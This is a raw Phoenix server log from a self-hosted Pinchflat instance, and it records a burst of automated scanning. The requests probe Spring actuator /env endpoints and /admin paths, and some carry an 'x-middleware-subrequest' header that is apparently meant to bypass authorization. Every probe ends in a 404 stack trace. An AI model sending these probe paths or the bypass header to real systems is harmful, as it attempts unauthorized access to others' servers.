{PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21582.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37002}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21582.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37002}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21584.0>, params: %{}, path_info: ["admin", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ (truncated) 15:40:36.071 [info] GET /dashboard 15:40:36.071 [debug] QUERY OK source="settings" db=0.0ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.071 [debug] QUERY OK source="settings" db=0.0ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.071 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.071 [error] #PID<0.21586.0> running PinchflatWeb.Endpoint (connection #PID<0.21585.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /dashboard ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21585.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37004}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21586.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/dashboard", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgdKee2C3mrgABcKC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21585.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37004}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21585.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37004}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21586.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (W (truncated) 15:40:36.073 [info] GET /v1/actuator/env 15:40:36.073 [debug] QUERY OK source="settings" db=0.0ms idle=114.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.073 [debug] QUERY OK source="settings" db=0.0ms idle=114.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.073 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.073 [error] #PID<0.21588.0> running PinchflatWeb.Endpoint (connection #PID<0.21587.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /v1/actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21587.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37006}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21588.0>, params: %{}, path_info: ["v1", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/v1/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgdK-wmBvsGoABcKi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21587.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37006}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21587.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37006}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21588.0>, params: %{}, path_info: ["v1", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/v1/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max (truncated) 15:40:36.182 [info] GET /admin 15:40:36.183 [debug] QUERY OK source="settings" db=0.1ms idle=121.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.183 [debug] QUERY OK source="settings" db=0.0ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.183 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.183 [error] #PID<0.21590.0> running PinchflatWeb.Endpoint (connection #PID<0.21589.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21589.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37022}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21590.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgdlF-8j-yhEACMjh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21589.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37022}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21589.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37022}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21590.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb (truncated) 15:40:36.185 [info] GET /v2/actuator/env 15:40:36.185 [debug] QUERY OK source="settings" db=0.0ms idle=114.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.185 [debug] QUERY OK source="settings" db=0.0ms idle=112.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.185 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.185 [error] #PID<0.21592.0> running PinchflatWeb.Endpoint (connection #PID<0.21591.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /v2/actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v2/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37032}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21592.0>, params: %{}, path_info: ["v2", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/v2/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgdlugWRBhGcABcLC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, 